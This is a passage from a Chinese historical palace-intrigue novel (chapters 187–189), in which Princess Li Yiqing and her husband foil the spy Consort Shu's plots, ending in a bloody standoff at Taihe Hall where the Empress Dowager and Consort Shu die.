卫婉萱轻声道谢，白皙无瑕的面庞上忽浮现一抹比桃花还要绚烂的红霞，“多谢殿下应允。”
她走入亭中坐下，对上李意清鼓励的视线，抿平的嘴角忍不住上扬了两分。简单试音后，开始拨弄琴弦。
落后一步的女眷眼神忿忿，明明就是想出尽风头，还装作什么清冷不染凡尘的模样，看着真是令人作呕。
李意清坐在对面，对身边的茴香道：“都赐座吧。”
茴香看了一眼站在亭子外聚成一团的贵女，唤了两个侍女拿来蒲团。
卫婉萱心中愈紧张，脸上的神情就越发冷静。
李意清铮铮琴声，轻吟道：“碧涧之幽兮，流泉潺潺以鸣，古木之森兮，云雾缭绕而盈。吾心之悠兮，随琴音以荡漾，春意之浓兮，融万物而共生。”
李行渊嗤笑一声：“你和我一样都是音痴，能听出什么？”
旁边的女眷听着两人的交谈，想笑又不敢。
他们两兄妹彼此打趣无伤大雅，她们要是跟在后面一起笑，那可真是不知天高地厚了。
卫婉萱蹙眉，但手上动作不停，一曲毕，她起身盈盈俯身行礼：“公主殿下所言，分毫不差。”
这算是当众和二皇子唱反调了。女眷本不平的心态瞬间安静下来，李行渊怎么会看上一个处处和自己唱反调的人？
卫婉萱说完，朝着李意清微微一笑：“殿下所吟相当别致，不知可否许我回去记载，重新谱乐。”
李意清颔首：“自然可以。”
得到应允，卫婉萱的脚步声中都透露着一股雀跃，她再次朝两人欠身施礼，转身离开。
李行渊看着她的背影，侧头问身边的李意清：“她这是在故意引我注意？”
李意清：“……我觉得不是。”
李行渊哼了一声，不知道想起了什么，语气变得沉肃了几分，“你跟我走。”
李意清来不及多问，就看见李行渊身后拽着她的手腕，将她带离了流光亭。
后面跃跃欲试的女眷眼睁睁看着两人离开，眼瞅着见面的机会没了，都不免恶意地瞪着卫婉萱。
什么清高才女，都是装的。
有人真心实意安慰卫婉萱，“卫姐姐，你别生气。”
卫婉萱眼底飞快地闪过一抹笑意，轻轻摇了摇头。
她一点都不生气。
*
赏花宴的后园，李行渊观察四下无人，放开了李意清的手。
“元辞章筹措了十万两白银送往西北前线这件事，你知道吗？”
李意清自然是知道的，去岁为了暖冬，大夏举兵来犯，后来虽然被盛大将军击退，但是大夏一直贼心不死，盘桓关外。
开春后大夏雪地融化，举兵重来，朝中无钱可供，战事越发胶着，但是就在两日前，元辞章愣是在户部筹措了十万两白银公使钱送到前线。
其中除了国库取出的公使钱，还查处了两个京城的贪官。
“你知道？”李行渊喃喃自语，愣了一瞬，“也是，你怎么会不知道？可是我们不是说好，徐徐图之吗？这般草莽行事，可不像你
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的作风。”
李意清默了一瞬，“可是北地，等不得了。”
李行渊眉头紧锁：“如此下来，只怕会打草惊蛇。”
他来回踱步，负手沉思，“元辞章用的户部名义，如果淑贵妃要查此事，你有几分把握能瞒住？”
李意清道：“她不会查的。”
她虽然在皇宫极有权势，但是京城之中，只有拥泵可是远远不够的。
“而且。”李意清语气平静，“她若是查了，反而对我们更加有利。”
李行渊看着李意清，见她有十足的把握，不再多问。
李行渊道：“稍后，她大概就会宣布的婚讯，我以身入局，后面的事情，你自慎之又慎。”
李行渊说的，正是她入宫找顺成帝，而他去找淑贵妃那天发生的事情。
他状似无意提到了贤贵妃，淑贵妃虽然不愿意理会，但是想到了五皇子，还是准备出手。
毕竟对淑贵妃而言，任何一个皇子都是威胁。
只是李行渊后来和彩蝶交谈，才知道淑贵妃准备用他的性命，扳倒贤贵妃和五皇子。
那日夜里，彩蝶坐在马车上垂泪，明明李行渊勾画的未来灿烂美好，可是她却像是永远被困在了那个寒冬。
彩蝶垂着泪道：“殿下，我不愿意骗你，淑贵妃给我下了毒，如果不能杀了你，我……”
两人注定是没有结果的。
李行渊原先觉得有些讽刺，又觉得有些可笑。
他居然也会在某一瞬间觉得淑贵妃是有良心的，可是终究是他自己想多了。
今日进京的女眷家世，无不是效忠陛下数年乃至数十年的股肱良臣，一个皇子的死，尤其是一个未来无尽可能皇子的死，怎会不让一个母妃痛苦万分，乃至于抄家灭族。
太后的手上就曾经为了子女染上鲜血，淑贵妃照样学样，有什么不可以的？
李行渊有些不放心地看着李意清，闭了闭眼，再一次确认道：“元辞章查的名册，可都确认无误了？”
元辞章做事，李意清自然没什么不放心的。她点了点头。
李行渊长长地舒了一口气，“那就好。”
他顿了顿，脸上带着极其不情愿的表情，鼓着腮帮瓮声道：“虽然本殿很讨厌他——但是后来遇事，多找元辞章商量。”
说完，他转身，背影中无端透露几分寂寞。
李意清心中有些怅然，又有些戚然。
等李行渊的身影完全消失，李意清缓缓吐出一口气，看向站在树后望风的毓心和茴香，“毓心，你去和淑贵妃说一声，我累了，想先回去小憩。”
毓心欠身，没有多问，立刻离开。
茴香走到李意清的身边，语气关怀：“殿下，奴婢先扶着你离开？”
李意清点了点头，顺着来时的路一步步离开，宫门外，洛石牵着马车等候多时。
洛石和茴香对视一眼，后者轻轻朝他摇头。
三人站在马车边等候了一会儿，疾步赶来的毓心带回了宫中的最后消息。
“殿下，卢太师的孙女卢小姐被指为二皇子妃，工部侍郎卫家小姐被指为二皇子侧妃。”
187. 一石三鸟
李意清微怔：“两人？”
毓心点了点头，回忆道：“当时淑贵妃还欲再指，但是二皇子说大皇子只皇子妃一人，他不好逾越。”
她没说的是，当李行渊说完后，淑贵妃脸色沉了几分，一副山雨欲来的压迫感。
一个是针对，两个也是针对，淑贵妃当真连伪装都不屑于伪装。
李意清望了眼朱红的宫墙，掀开车帘，坐上马车。
翌日一早，李意清洗漱完毕，一个看门的小厮神色惊慌地跑了进来。
“殿下，殿下……二皇子他，他疯了。”
李意清微微怔住，旁边的毓心看懂她的沉思，主动道：“慌张什么，你说清楚。”
小厮喘着粗气，脸上满是畏惧：“昨日赏花宴结束后，淑贵妃和贤贵妃在亭中交谈，确定了二皇子的婚配，相谈甚欢之际，二皇子忽然口吐白沫，模样癫狂。吓坏了合宫众人，太医诊治后，确认二皇子得了疯症。淑贵妃震怒，誓要找出凶手为二皇子报仇。”
听到小厮的答话，婢女不禁纷纷捂住自己的口鼻，掩饰自己的惊骇。
毓心身为公主府大婢女，此刻不能失了分寸，她轻咳了一声：“现在可有查出结果？”
小厮点了点头：“淑贵妃下令封锁宫门，入宫的女眷纷纷搜身，最后查出毒药出自五皇子的身上。”
不消小厮进一步描述，李意清也能想象得出昨夜是何等的兵荒马乱。
当毒药在五皇子身上搜出的那一刹，贤贵妃就知道自己中计，大声反驳，“五皇子才十岁又一，能从哪里弄来这般毒药。”
淑贵妃仗着“人证物证”俱全，自然不愿意放过彻底绝了五皇子未来之路的机会。
她跪在地上，泪如雨下，“二皇子虽然非本宫亲生，但是毕竟是本宫亲手养大，贤贵妃姐姐，妹妹就不信你从未听说过外界的传言……”
贤贵妃抱着五皇子，语气嘶吼：“荒谬！本宫从未听说过什么传闻……”
贤贵妃脸上表情狰狞，心中终是有些底气不足。
大皇子失势，二皇子是最有继位可能性的。五皇子为了自己，对二皇子出手，有什么可奇怪的。
淑贵妃望着沉沉睡去的李行渊，语气低哑：“是非对错，妹妹已经无心辩驳，姐姐是母亲，难道会觉得妹妹忍心用孩子的性命来谋取什么吗？你我同在贵妃位，不如请陛下前来，亲自定夺。”
说完，她看向身边的宫女。
宫女应了一声，小跑着离开。
贤贵妃看淑贵妃的举动，像是给自己壮胆一样斥道：“你等着，等陛下来了，定然能还我一个清白。”
虽然她根本想不明白，怎么会有人忍心用孩子谋算。
……
小厮咽了一口唾沫，接着道：“后来，陛下亲临，两位贵妃诉苦。”
毓心问：“陛下是如何裁定？”
“虽然五皇子年幼，但是人证物证俱全，五皇子被幽禁太华殿不得出，等候审判，贤贵妃被褫夺封号，降为嫔。”小厮一五一十将自己所知道的东西说了出来。
毓心见李意清伸手摸着桌上的发簪，偏头对小厮道：“好，殿下知晓了，你且去忙吧。”
小厮又磕了一个头，后退着离开。
侍女纷纷弯腰行礼，依次离开，顺手带上了房门。
李意清伸手将自己发间的一根金簪轻轻取了下来，换上新挑选出的玉簪。
玉簪翠白，比起镶嵌着红宝石的金簪，看起来素雅不少。
“淑贵妃此役大获全胜，现在想来很是得意。”
一石三鸟，既扳倒了贤贵妃和五皇子，又顺手铲除了二皇子。
毓心望着铜镜中的李意清，端详着她的妆容：“殿下只更改了一根发簪，看上去就素了不止一星半点。现在可要去探望二皇子？”
李意清：“自然是要的。”
两人说话间，外头传来洛石的声音：“殿下，驸马在正厅等候。”
李意清应了一声，站起身，走到正厅。
正厅中，元辞章坐在主座上看着书册，虽然才辰时左右，他身上的浅蓝色的衣袍却已经沾染了不少春日霜露。
听到声响，元辞章缓缓放下手中的书，合上后，走到李意清的身边。
“夫人。”
李意清微微将耳朵凑近，一只手搭在元辞章的胳膊上。
元辞章低声道：“彩蝶那边，已经转移到城外由邱先生代为诊治，毒性似蝉栖，约七成左右可解。”
不是十成，李意清心底有些遗憾。
她捏了捏手，同样压低嗓音回元辞章道：“让邱先生尽力，拖延上一阵子也是好的，等……”
后半句话，李意清没有说出口。
事以秘成，现在并不是适合大张旗鼓加以渲染的时候。
元辞章自然懂她的意思，伸手反握住她的手。
他的眸底，是如幽潭一样的平静与深邃，纵然狂风平地起，却不会为此波澜分毫。李意清一抬头，两人的视线就紧紧地交织在一起。
一枚小巧的瓷瓶顺势滑入李意清的手中，李意清靠在他身上，感受着手中瓷瓶的分量。
约莫半颗鸡蛋的重量，里面装着两枚药丸，微微晃动，甚至能感觉到两枚药丸在瓷瓶中乱动。
李意清将瓷瓶收入袖中，轻声问道：“这是什么？”
元辞章牵着李意清的手，大掌紧紧包裹着她的五指，“边走边说。”
正厅出来后，许三已经备好马车，他看着携手而来的两人，语气恭谨：“殿下，公子，马车已经备好，随时可以出发。”
元辞章低头，伸手整理着李意清的衣领，“夫人切莫太过悲伤。”
李意清微微眨了眨眼睛，眼眶周围立刻泛上一层红色，她语气低迷，似乎不敢置信：“乍然听闻皇兄此事，我实在是难以置信。明明昨日我们还在交谈，可是谁知今日……”
元辞章知道李意清的泪水是假装出来的，可是垂眸看见的瞬间，还是忍不住心疼。
他轻声道：“无妨，我陪夫人一道去探望。”
李意清点了点头，半捏裙摆，提步上了马车。
上马车后，李意清才从袖中抖出小小的白色瓷瓶，她放在掌心瞧了瞧，又收回袖中。
“这到底是什么？”
元辞章见她好奇，放轻了声音道：“是给二皇子带的。”
他示意李意清伸出手心。
李意清伸手，元辞章轻轻在她的掌心写下一个“清”字。
清醒？
李意清：“二皇兄他并未……”
元辞章：“我知
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道，准备这个，只是为了不时之需。”
李意清在脑中想了一瞬，立刻反应过来元辞章的用意。
当初给彩蝶的明明是致命毒药，要给五皇子和贤贵妃安上一个谋害皇子的罪名。可是现在却只是致使人疯癫，难保淑贵妃不会起疑心。
“里面一枚解毒丸，一枚清心丸。都是邱念慈这两个月来费心研制。”元辞章轻声道。
“还是你谨慎。”李意清忍不住赞道。
马车一路到二皇子府前停下，昨夜经过太医诊治后，李行渊连夜被送回了府上，随行的太医也跟着住进了二皇子府。
守门的小厮见到李意清和元辞章，连忙俯身请两人进去说话。
“公主殿下、驸马，这边请。”
小厮在前面引路，三人七拐八绕，踏入李行渊的寝殿。
外面，好几位太医正在看诊，后面传出阵阵药味，苦涩难言。
淑贵妃本人不在，但是她最信任的亲随宫女却站在珠帘后头，隔着珠帘看着病床上苍白如纸的二皇子，语气带着关切：“诸位太医，二皇子的身子？”
为首的太医摸着胡须，额间耳鬓冷汗滚滚。
李行渊脉象混乱，毫无章法，可是醒时胡言乱语，状若疯癫，他们除了一口咬定李行渊疯了，或是承认自己学术不精，根本没有别的选择。
“五……下毒者的毒药罕见，乱人神志，甚是疾手，但是好在安神汤药能镇定二殿下，恳请陛下和淑贵妃娘娘再多宽限些许时日，好叫我们配置良药。”
宫女眸光闪烁，闻言，嘴唇翕动。
她准备说话的时候，外头传来一声通报。
“於光公主到。”
宫女立刻敛了脸上的神情，转身微微俯身：“参见殿下。”
围坐一圈的太医也纷纷转头看向她。
李意清微微抬手，示意他们不必拘礼。而后走到李行渊的身边坐下，望着他平静沉睡的面容，眼眶泛红。
声音戚然：“皇兄。”
方太医听着她颤抖的嗓音，心底有些不是滋味，出声道：“殿下，二殿下的病症……”
李意清抬手，“不必多说，我已经听人说过。方太医，请务必尽全力救治我的皇兄。”
方太医连连点头称是。
宫女见李意清伤心不似作伪，凝眸片刻，出声道：“殿下，驸马，娘娘宫中还有事，奴婢先行告退。”
李意清：“娘娘的事情要紧，你且去，顺道替本殿向娘娘道，此事凶险意外，是人祸而非天灾，还请漱娘娘保重自身，莫要太过悲伤。”
宫女低着头，“殿下放心，奴婢必定一字不落，告诉娘娘。”
宫女离开后，李意清对满堂的太医道：“诸位太医眼角发青，看样子疲惫非常，皇兄的身体还需要仰仗各位，现在请快快休息，等休息充足，再来皇兄身边照顾。”
她的言辞恳切，关心之色溢于言表。
太医几人面面相觑，最终还是方太医率先道：“多谢殿下，那臣等先去小憩片刻。”
从昨夜事发到现在，他们已经一整夜未曾合眼，按下此不提，更是提心吊胆，生怕说错引来杀身之祸。
方太医动了，其他太医即便有些犹疑担心，也还是挪动了步子。几人并作一排，跟着引路的婢女离开。
188. 暴雨如注
太医离开后，躺在床上的李行渊缓缓睁开眼睛。
望见站在床边的两人，他伸手捂住胸膛，轻声咳嗽了几声。
“你们来的还真是快。对了，彩蝶如何？”
元辞章道：“已经妥当，不过你的脉象？”
李行渊沉了沉眸子：“你放心，能保持住。”
自乱经脉而已，多让几种毒虫蝎蚁咬上自己几口即可，并不算什么难事。
只是没想到淑贵妃何等谨慎，直接让宫女借照顾为名跟着前来二皇子府，趁他假眠期间，又给他服下一颗丹药。
李行渊没有说出此事让两人担心，一颗丹药而已，只要不能立刻致命，总能想到法子解决。
李意清将袖中的小瓷瓶塞到李行渊的手中，“这是一颗清心丸，一颗解毒丸，元辞章考虑周到，以备不时之需。”
李行渊心头微微一震，不动声色地朝元辞章看了一眼。
“谢了。”他有些别扭道。
元辞章道：“小事。不过后面一段时日，恐怕我们就不能常来。还请殿下多加小心。”
李行渊语气恢复成原先的倨傲散漫：“你放心，这点把握，本殿还是有的。”
确认完后续的部署后，李意清和元辞章没有久留。
坐了一盏茶的时辰，两人准备起身告辞。
就在准备离开之际，忽然听到外面传来一阵喧嚣声。
李行渊立刻倒在床上装睡，李意清定了定心神，朝外面问道：“何事如此喧嚣？”
玉言道：“禀公主，是卫家小姐来到了府上。”
李意清在心底诧异了一番，卫婉萱？她怎么会过来？
李行渊少年时就被顺成帝送去漳地，现在回京不过三四月，鲜少外出交游，按理说，和卫家小姐应当没什么交集。
李意清抬眸不解地看向元辞章，后者微微抿唇，“二殿下正睡着，此刻不易见人。请卫家小姐现在正厅稍后片刻，我们即刻过去。”
两人走到正厅，只见卫婉萱跪坐在地上，任旁人如何劝说，岿然不动。
卫婉萱来的时候，就和父亲爆发了激烈的冲突，卫侍郎认为昨日事发突然，淑贵妃匆匆订下婚约，谁知道一天还没有过去，二皇子就从天子骄子变得疯子，这般落差，卫侍郎心中怎能甘愿。
就连府上的下人，都在扼腕叹息。
卫婉萱面对卫侍郎的嗟叹，语气不卑不亢：“昨日赐婚之事人尽皆知，父亲现在去和陛下贵妃娘娘讲述，婚姻作罢，陛下焉能同意？”
卫侍郎高高举起的手微微垂下。
虽然李行渊已经疯傻，但是那毕竟是二皇子，现在过去退婚，是嫌自己官做得太过顺畅了吗？
卫婉萱见卫侍郎神色松动，嘴角扯起一抹笑：“父亲，卫家女儿众多，并不缺我一人。女儿自愿前去二皇子府照料。若是二皇子有恢复那一日，父亲的雪中送炭之情，可保卫家上下富贵不衰。”
卫侍郎已然心动，女儿而已，他取了七房妾室，家中光待字闺中女儿就有五位。锦上添花固然可喜，但是雪中送炭之情方显情坚。
他已然心动，不过碍于面子，他装模做样在府上来回踱步，最后像是做出什么重大决定一般，语气威严道：“婉萱，为父本为了你的未来着想，没想到你竟然有如此见地，既然你心意已决，为父不再勉强。你且安心去二皇子府照料。”
卫婉萱听着他冠冕堂皇的话，微微垂头，嘴角讥讽。
为未来着想？分明是眼瞅着二皇子已经疯傻，再无继位可能，于是打算重新在京中相看，榨干她最后一丝价值。
她心中如明镜，脸上却带着一抹情真意切的笑：“女儿多谢父亲成全。”
卫婉萱的乖顺极大地取悦了卫侍郎的心，他难得好了脸色，对身边的管事道：“去给小姐备马车。”
从卫府到二皇子府，一路上穿过神武大街，即便是坐在马车上，卫婉萱也能听到外面传来的声音。
“外面的人们，是在笑我吗？”卫婉萱轻声问着身边的侍女。
侍女连忙摇头，“小姐，二皇子的事情对外头秘而不宣，没有会议论的。”
卫婉萱闻言，垂眸良久，最后轻轻地笑出了声。
半刻钟后，李意清和元辞章步入正厅。
一抬眼，李意清就看见坐在两侧椅子上坐着等候的卫婉萱。
她神情平静，脸上没有一丝忧伤。见到李意清过来，起身行礼道：“殿下安好。”
“不必多礼。皇兄的事情，你已经知道了，怎么还过来？”李意清问。
卫婉萱柔柔一笑，语气认真道：“臣女流光亭对二殿下一见钟情，后来贵妃娘娘亲口指婚，臣女虽然还没有嫁给二皇子，但是心底，已经将自己许给二皇子。”
李意清闻言，怔了怔。
“……她这是在故意引我注意？”
难道昨日李行渊猜测的，竟然是真的？
一旁的元辞章望着卫婉萱，见她一瞬不瞬地盯着李意清，眸光微闪，却一言不发。
李意清道：“世上常为锦上添花之喜，可却难得雪中送炭之情，你愿意来照料皇兄，我代皇兄先行谢过。”
说完，她望了一眼天色，远方隐隐有春雷轰鸣。
乌云低沉，是暴雨欲来的前奏。
卫婉萱道：“见天色像是要落雨，公主殿下，请回去吧。”
李意清颔首，走到园中，像是感慨一般轻声道：“确实应当下一场雨了。”
*
骤雨如注，春雷阵阵，一下就是三天。
雨水落在瓦檐上滚落而下，卷走空气中酝酿已久的潮闷。
李意清坐在窗棂边，有些思绪不宁。
和淑贵妃有牵扯的朝廷命官名单已全，元辞章和何尚书通气，在陛下召见众臣子的时候，趁机派京城驻军控制了这些官员的家眷。
空气中漂浮着隐约的血腥味，随着这一场暴雨，变得欲发明显。
李意清望着桌上的蜜枣红豆汤，一时间分不清是自己的幻觉，还是味道真实存在。
她再也坐不住，随手拿了一件斗篷，撑伞踏入雨幕中。
公主府内落针可闻，外面一片兵荒马乱。
毓心泡了热茶出来，看见李意清站在府门口凝目远眺，走近前询问：“殿下，你看什么呢？”
李意清道：“毓心，你有没有觉得街上安静得有些过分？”
毓心望着空无一人的街道，摇了摇头：“没有啊，今日暴雨天，百姓避雨不出，一切如常。”
李意清难以言明自己的心绪，她微微摇头，撑着伞朝着皇宫的方向走。
朱雀大街空
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无一人，越往宫门的方向走，一种难以言明的压迫感就越发明显。
手中的油纸伞陈旧年久，暴雨砸落在伞面上，像是风雨中晃荡飘摇的小舟。李意清有预感地抬头看了一眼，伞面正好到了承受的极限嗤啦一声，边缘处裂开一道缝隙。
雨水顺着裂缝流下来，滴落在李意清的肩膀上。
毓心看得心惊胆战，正准备上前和自己手上的伞换一把，忽然，听到远处传来的打斗之声。
兵戈碰撞，刀剑声铮铮。
毓心瞬间被吸引注意，踮脚去望：“怎么了？怎么了？”
京城中不可随意舞刀弄剑，弄出这般大的动静，定然发生了什么大事。
李意清却像是反应过来什么，立刻提起裙摆，朝着宫门口方向跑去。
毓心：“殿下还是快回吧！刀剑无眼，听着怪瘆人的！”
李意清恍然未觉，一路跑到宫门口，看见宫门侍卫和禁军已经拔剑相向。
禁军看见李意清到，如同看见主心骨，“殿下，宫中侍卫不给进。”
他头上的盔甲满是雨水，顺着面庞滑落，几乎迷了眼睛。
支援宫门的侍卫越来越多，双方的打斗越发明显。
地上，已经七零八落躺在一堆人，鲜血顺着脖颈处的伤口汩汩流出，连青灰色的地板都变得有些殷红。
这些都是送自家大人前来宫中的车夫与小厮，还有些侥幸逃脱的，躲在禁军的身后一动不动。
李意清一眼看清局势，抬高声音问道：“你可有说这是陛下口谕！”
她既是在说给禁军首领听，也是在说过对面的宫门侍卫听。
禁军首领：“自然说了，可是他们不让，甚至抓住车夫和小厮用以威胁，末将害怕事态进一步恶化……”
李意清看着丝毫没有顾忌的宫门侍卫，对禁军首领道：“宫门侍卫已然叛变，禁军听令！强攻！”
禁军首领怔了一瞬，立刻大喝一声，率领着十人左右的冲锋小队左手持着盾牌，右手持着长剑狂奔而去。
原先禁军有所顾忌，现在得到李意清的授意，立刻不管不顾，直取对面项上人头。
鲜血没能阻拦宫门侍卫前赴后继的姿态，他们高呼着“守住宫门！”，一个个不要命般横冲直撞。
禁军首领看着李意清被淋湿的半边脸，见她神色冷漠，握刀的手紧了紧。
宫中侍卫支援有限，对比上百禁军，很快就显得力不从心。
剩下的宫门侍卫见大势已去，立刻墙头草般跪倒在地，哭嚎着道：“殿下，一切都是淑贵妃逼迫！卑职等甘愿受罚，只求殿下给一个将功折罪的机会！”
“押下去！”李意清一个眼角余光都没有分给他，转头问禁军首领，“高将军，此行带了多少禁军？”
高将军身上溅了血，雨水冲刷，血色越来越黯淡，他拱手道：“回禀殿下，前行队六十人，后面支援五百人。”
足够了。宫中的侍卫和太监，对付常年案牍劳形的士大夫绰绰有余，可是面对真枪实刀历炼出的禁军，非其一合之敌。
半边身子已经湿了，随着暴雨落下，原先伞面的裂口越来越大，李意清干脆将手中的伞随手掷下，任暴雨扑面。
她伸手抹了一把脸上的水珠，声音斩钉截铁。
“进宫。”
189. 血流太和殿
太和殿前数十步长阶上，密密麻麻站满了人。
人群成对峙之势，以顺成帝、元辞章为一帮的人身后站着一对天字卫，而淑贵妃站在另一边，挟持着年迈的太后。
李意清带着禁军至此，立刻吸引了两边的视线。
元辞章看着李意清浑身湿透的模样，心中紧了紧，他嘴唇翕动，欲言又止。
淑贵妃身穿着一身大红色的衣裙，上面多用鎏金银饰，串成链子的银片缀在裙边，微微行动，立刻想起一阵银铃晃动的声响。
这样的声音，落在众人的耳中，刺耳又悲凉。
她将手中的长剑抵近太后的脖颈，刀剑锋利，太后的脖颈立刻出现一道细细的伤口。
鲜血从里面渗出来，太后愣是咬紧下唇，一声不吭。
淑贵妃脸上的妆容被水淋湿，鲜红的胭脂化在脸上，显得有些狰狞，她望着李意清，语气像是在哭，又像是在笑：“李意清，你怎么会过来。”
李意清静静地望着她。
顺成帝望着她有些癫狂的模样，立刻震声喊道：“你别乱来！”
淑贵妃厌恶地看了一眼顺成帝，而后立刻移开目光落在李意清的身上，“意清，我自问这么多年，对你的关心不必皇后欠缺半分，即便是我大权在握，也从未想过伤你半分。”
李意清道：“我知道。”说完，她走到了顺成帝的身边。
淑贵妃的睫毛颤了颤，有些心痛地别过头。
顺成帝紧张地看着李意清，见她全身除了被雨淋湿之外并无不妥，忍不住松了一口气。
“意清。”
李意清看着他苍老的面庞。他原先高出李意清一个头，而现在看来，只比李意清高出一点点。
两人站在台阶上，差不多可以平视。
李意清鼻尖一酸，轻声道：“父皇。”
顺成帝点了点头，伸手在李意清的肩膀上重重一拍，转头看向淑贵妃，慈祥的声音中蓦然带上一丝狠厉：“放开太后，否则，死。”
淑贵妃的指望宫中侍卫外出寻找埋伏在城外的同伙，可是现在李意清带着禁军从宫门方向走来，算是绝了淑贵妃的后路。
“放与不放，不都是一死吗？”淑贵妃仰天笑了出来，笑完，握住剑的手紧了紧，“倒不如让大庆的皇太后为我殉葬，也不算辱了我。”
被她挟持的太后神情淡然，面对森冷长剑眉头都没抬起一下。
“哀家这把年纪，早已经活够了，你想用哀家威胁皇帝，当真做梦。”太后语气不清不淡，“再者，你是什么身份，也敢让哀家给你殉葬？你也配？”
她反问的极其平静，淑贵妃却瞬间变了脸色。
手中的刀剑更入了脖颈几分。鲜血往外流出，染红了半边剑刃。
“不要！”
“别动！”
一时间，惊呼声此起彼伏。
站在皇帝身后的韩尚书韩珦忍不住高声道：“贵妃娘娘，你在后宫已经快三十年，怎么会突然被大夏所惑，将刀尖指向自己人？”
顺成帝也紧锁着眉宇。
淑贵妃闻言，笑声欲发明显，像是停到了什么天大的笑话。
“自己人？”淑贵妃放声大笑，笑罢，幽幽地抬头看向顺成帝和韩尚书，“陛下，你还记得我是哪里人吗？”
顺成帝似乎没想到淑贵妃会出此一问，怔愣片刻，“熙州。”
这下轮到淑贵妃惊诧了，她像是完全没有考虑过顺成帝知道，失语半响，她轻声道：“是，熙州。熙州靠近大夏，我自七岁时就被送到熙州望族刘氏家中，十七岁嫁给尚是皇子的陛下。在宫中岁月漫漫，我都快忘记自己到底来自何处了。”
顺成帝看着淑贵妃，嘴唇翕动，半响，沉声道：“原来你真的是大夏的奸细。朕当真眼瞎，这么多年，竟然没有察觉。”
淑贵妃目光一瞬间也有些茫然，时间太久，她有时候都会忘记自己从何而来，到何处去。
旁边的宫女道：“娘娘，别听他的！你忘了国主的吩咐了吗？”
现在大夏和大庆纷争不断，如果能在大庆朝堂能掀起一阵风波，大庆士气必然大大折损。
淑贵妃茫然的脸色瞬间变得凌厉，她狠狠扣住太后的肩膀，大声朝顺成帝喝道：“太后在我手中，你若是想要她活命，便自己来换。”
韩尚书紧紧拽住顺成帝的袖子，“陛下，不可啊，您是国本，怎可损伤？”
旁边的臣子紧随其后道：“陛下三思啊。”
顺成帝望着佝偻一片的臣子，目光有些湿润。
“吾非国本，天下士子才是。”顺成帝望着太后，闭了闭眼，水珠从他脸上划落，“可是此刻，朕只想当一个儿子。母亲育我以年幼无知，吾报恩情性命不足惜。”
韩尚书继续劝道：“陛下，现在大庆离不得你。”
淑贵妃望着一副雨天情深图，嘴角勾起一抹嘲讽的笑容。
她今日就没想着活着离开，只想拉一个垫背的陪她一起死。
李意清望着淑贵妃脸上轮番变动的表情，轻声道：“放开太后，送你出城，你可愿意？”
淑贵妃脸上的挣扎之色一闪而过，似乎在考虑此行的可行性。
太后急忙道：“不可，绝对不可。淑贵妃狼子野心，绝不可放虎归山。”
比皇太后更急切的是淑贵妃身边的大宫女，她急忙道：“娘娘，您莫要被他们的花言巧语欺骗，您一旦放开太后，他们必然乱箭射杀您，到时候也是死路一条，不如听从国主的意愿，颠覆大庆朝堂。”
淑贵妃依旧没有下定决心。
宫女急了，她抬高了声音，语气带上几分狠厉：“娘娘莫不是忘了，娘娘的兄长，还有一个孩子，若是不想血脉就此断送，你想好怎么选！”
淑贵妃想起那个只看了一眼画像的孩子，目光迟疑起来。
现在京城中唯一成年的皇子只有二皇子，可二皇子前不久才疯傻，她为保万无一失，特意让人重新灌了药，彻底绝了他恢复神智的可能。
五皇子被囚禁，大皇子被废黜派往边疆，现在如果失去顺成帝，大庆群龙无首，不成气候。
想起那个孩子，淑贵妃终于下定了决心。
“记住，我只要顺成帝，”淑贵妃重申了一遍自己的话，低声喃喃，像是在说给自己听，“反正我这条命早就活够了。”
可是兄长的孩子不一样，他聪颖机智，饱读诗书，兵法牢记于心，是这一脉最后的机会。
他在，二皇子一脉才有无限的可能。
韩尚书见顺成帝跃跃欲试，狠狠地拍着自己的大腿：“陛下，不可啊，不可啊！虽然您以仁孝治天下，但大庆现在离不得你。”
顺成帝刚欲争辩，立刻听到身旁众
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人传来一声声惊呼。
“太后！”
“太后！！”
太后主动往前扑去，脆弱的脖颈撞上锋利的脖颈，立刻血流不止。
猩红的血色染红了她的前襟，她脸上的笑容却始终是平静安和的，她温柔的视线落在惊慌的顺成帝和李意清的身上，语气温和：“我儿，不必担心。”
淑贵妃感受到温热的血水混着冰冷的雨水流过了自己的手，濡湿一片。
浓郁的血腥味充斥着她的鼻腔，脑海中一阵嗡鸣，竟然一时间没有反应过来发生了什么。
血水流淌，太后渐渐有些站不稳身子，她缓缓往下坠，气若游丝：“皇儿不必担心，母后永远不会成为你的拖累……”
顺成帝悲痛出声，不管不顾地就要向前冲去，却被韩尚书和元辞章死死地扯住。
他双眼血红，目眦欲裂：“母后！”
太后瘫在了地上，雨水落在她身上，最后一点声息也渐渐消失。
淑贵妃终于从怔愣状态中回神，她颤抖着手丢掉手中的刀剑，忽然哭喊着出声，撕心裂肺。
筱然。
——她的哀嚎戛然而止，宫女将手中的匕首狠狠插进她的胸口，用口型对淑贵妃道：
“娘娘，筹码没了，奴婢送你上路。”
淑贵妃有些震惊地看着自己胸口的匕首，下一秒，匕首被人用力拔去，迟来的痛意让她想要哭喊，但是张开了嘴巴，却一句话都说不出来。
宫女面无表情地补上了第二刀、第三刀……像是生怕她还会活着一样。
淑贵妃的瞳孔渐渐涣散，宫女将匕首调转了方向，狠狠地插进自己的心口。
她用的力道比对淑贵妃更加残忍。
淑贵妃弥留之际，只能听到她温和的声音。
“娘娘莫怕，奴婢这就来陪您了。”
思绪越发涣散，她有些迟钝地想——虽然没有杀死皇帝，但是杀死了大孝子皇帝的母亲，也不算亏。
圆满了。
两人渐渐没了声息，三具尸体躺在地上，血色模糊一片。
原先站在淑贵妃身后的众人立刻作鸟兽散，李意清望着他们四散而逃的背影，冷声道：“杀，一个不留。”
顺成帝蹒跚着脚步跑向太后的身边，抱起她在雨水冲刷下已经失温的身体，嚎啕大哭。
韩尚书看着哭作一团的顺成帝，摇了摇头，苦笑着走到现在还算冷静的李意清身边，“殿下，现在还不是悲伤的时候。当务之急，请先肃清宫中、朝中余孽，以防乱党不尽，祸及朝廷。”
李意清点了点头，朝禁军统领望去。
高将军点了点头，指挥着赶到此处的禁军立刻有条不紊分成数列，前去搜宫。
半个时辰后，行动鬼祟的宫女和太监都被提溜到了太和殿前。
他们跪在地上放声大哭，哀声诉说着自己的不幸和身不由己：“殿下，殿下饶命啊。奴婢/奴才们也是被淑贵妃胁迫，并非本意。”
李意清望着地上声泪俱下的宫人，心绪没有一丝波动，她望着元辞章，隔着渐渐变小的雨幕道：“元侍郎，本殿特许你监察之权，由禁军从旁协助，调查宫中人动向，主动犯事者杀无赦，被逼迫之人，量刑定罪。”
